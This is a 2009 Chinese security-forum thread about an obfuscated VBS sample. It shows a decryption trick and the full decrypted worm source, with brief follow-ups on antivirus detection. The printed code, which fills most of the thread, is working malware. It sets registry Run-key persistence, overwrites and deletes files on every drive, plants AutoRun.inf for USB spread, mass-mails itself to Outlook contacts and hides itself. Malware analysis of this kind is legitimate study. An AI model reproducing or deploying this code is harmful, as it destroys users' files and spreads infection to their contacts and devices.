比较囧的脚本

qq316107934

VBS + ASCII 加密的好对付啊!
把最后一行的Execute 改成 msgbox ，
弹出的对话框里就是解密后的代码。
解密后NOD32提示未查明的SCRIPT病毒
解密后的Code：
on error resume next
call REGrun
if REGr=true then
call disklist
end if
if DRSdsik=true then
call spreadtoemail
end if
if MAL=true then
call HIDEme(wscript.scriptfullname)
end if
dim REGr,DRSdsik,MAL,HM
Sub ShowFolderList(folderspec)
on error resume next
Dim fs, f, f1, fc
Set fs = CreateObject("Scripting.FileSystemObject")
Set f = fs.GetFolder(folderspec)
Set fc = f.SubFolders
call ShowfileList(folderspec)
For Each f1 in fc
call ShowfileList(f1.path)
call ShowFolderList(f1.path)
Next
End Sub
Sub ShowfileList(folderspec)
on error resume next
Dim fs, f, f1, fc,filepath,self,ap,ext,cop,wz
Set fs = CreateObject("Scripting.FileSystemObject")
set self=fso.opentextfile(wscript.scriptfullname,1)
vbscopy=self.readall
self.close
Set f = fs.GetFolder(folderspec)
Set fc = f.Files
For Each f1 in fc
wz=instrRev(f1.path," \ ")
filepath=mid(f1.path,1,wz)
call copyme(filepath)
if fs.getfilename(f1.path)="QQ.exe" or fs.getfilename(f1.path)="QQ.vbs" then
call EXErun(f1.path)
end if
set ext=fs.GetExtensionName(f1.path)
ext=lcase(ext)
if ext<>"html" and ext<>"htm" and ext<>"asp" and ext<>"aspx" and ext<>"jsp" then
if (fs.GetFileName(f1.path))<>"QQ.exe" and (fs.GetFileName(f1.path))<>"QQ.vbs" then
set ap=fs.opentextfile(f1.path,2,TristateTrue)
ap.write vbscopy
ap.close
set cop=fs.getfile(f1.path)
cop.copy(f1.path & ".vbs")
f1.delete(true)
end if
end if
Next
End Sub
sub disklist()
on error resume next
dim drvs,drv,diskpath,fsg
set fsg=CreateObject("Scripting.FileSystemObject")
set drvs=fsg.drives
DRSdsik=false
for each drv in drvs
if drv.DriveLetter<>"A" and drv.DriveType<>CDRom then
diskpath=drv.DriveLetter & ":\"
call ShowFolderList(diskpath)
end if
if drv.IsReady then
call REMdiskRUN(diskpath)
end if
next
DRSdisk=true
end sub
sub copyme(copypath)
on error resume next
dim fss
set fss=createobject("scripting.filesystemobject")
fss.copyfile wscript.scriptfullname,copypath,true
end sub
sub EXErun(filename)
on error resume next
dim ws,fcx
set fcx=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
if fcx.FileExists(filename) then
ws.run filename
end if
end sub
sub spreadtoemail()
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
MAL=false
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a)
if regv="" then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWAB"&malead)
if regad="" then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject="        QQ    "
male.Body="                            QQ                                      "
male.Attachments.Add(wscript.scriptfullname)
male.Send
regedit.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWAB" & malead, 1, "REG_DWORD"
end if
x=x+1
next
regedit.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,a.Addre
ssEntries.Count
else
regedit.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,a.Addre
ssEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
MAL=true
end sub
sub REGrun()
on error resume next
dim virpathf,virpaths,virpatht,frs,freg
set frs=createobject("scripting.filesystemobject")
set freg=createobject("wscript.shell")
REGr=false
virpathf=frs.GetSpecialFolder(0)
virpaths=frs.GetSpecialFolder(1)
virpatht=frs.GetSpecialFolder(2)
frs.copyfile wscript.scriptfullname,virpathf &"\"& "QQ.vbs" ,true
frs.copyfile wscript.scriptfullname,virpaths &"\"& "QQ.vbs" ,true
frs.copyfile wscript.scriptfullname,virpatht &"\"& "QQ.vbs" ,true
freg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\QQF",virpathf,"REG_SZ"
freg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\QQF",virpathf,"REG_SZ"
freg.regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run\QQF",virpathf,"REG_SZ"
freg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\QQS",virpaths,"REG_SZ"
freg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\QQS",virpaths,"REG_SZ"
freg.regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run\QQS",virpathS,"REG_SZ"
freg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\QQT",virpatht,"REG_SZ"
freg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\QQT",virpatht,"REG_SZ"
freg.regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run\QQT",virpatht,"REG_SZ"
set freg=nothing
REGr=true
end sub
sub REMdiskRUN(frpath)
on error resume next
set rems=createobject("scripting.filesystemobject")
rems.copyfile wscript.scriptfullname,frpath & "rings\QQ.vbs",true
set fr=rems.CreateTextFile(frpath & "AutoRun.inf",True)
fr.writeline ("[AutoRun]")+vbcrlf
fr.writeline ("shellexecute=" & frpath & "rings\QQ.vbs")+vbcrlf
fr.writeline ("shell\open\command=    (&O)")+vbcrlf
fr.writeline ("shell\open\command=" & frpath & "rings\QQ.vbs")+vbcrlf
fr.writeline ("shell\open\Default=1")+vbcrlf
fr.writeline ("shell\explore=          (&X)")+vbcrlf
fr.writeline ("shell\explore\Command="& frpath & "rings\QQ.vbs")+vbcrlf
fr.close
end sub
sub HIDEme(mepath)
on error resume next
dim MSF,MF
set MSF=createobject("scripting.filesystemobject")
set MF=MSF.GetFile(mepath)
HM=false
MF.Attributes=MF.Attributes+ReadOnly+Hidden
set MF=nothing
HM=true
end sub

[ 本帖最后由 qq316107934 于 2009-8-3 20:43 编辑 ]

铩雨骑士

其实这个文件有一个特殊处理的 被我无视了 直接拿来了可解密版本..
话说这个普通VBS动不动就会被秒啊
详情对比：http://www.virscan.org/report/c9 ... 3e7888063cf917.html
http://www.virscan.org/report/822f50dcc33a0071e63c33feb1caffaa.html
查杀率差别很大的

[ 本帖最后由 铩雨骑士 于 2009-8-3 21:45 编辑 ]

尤金卡巴斯基

2009/8/3 23:30:29        已清除        木马程序 Backdoor.Win32.Agent.abj        G:\Temp\Virus\囧.rar/囧.vbs

loxer

To Avira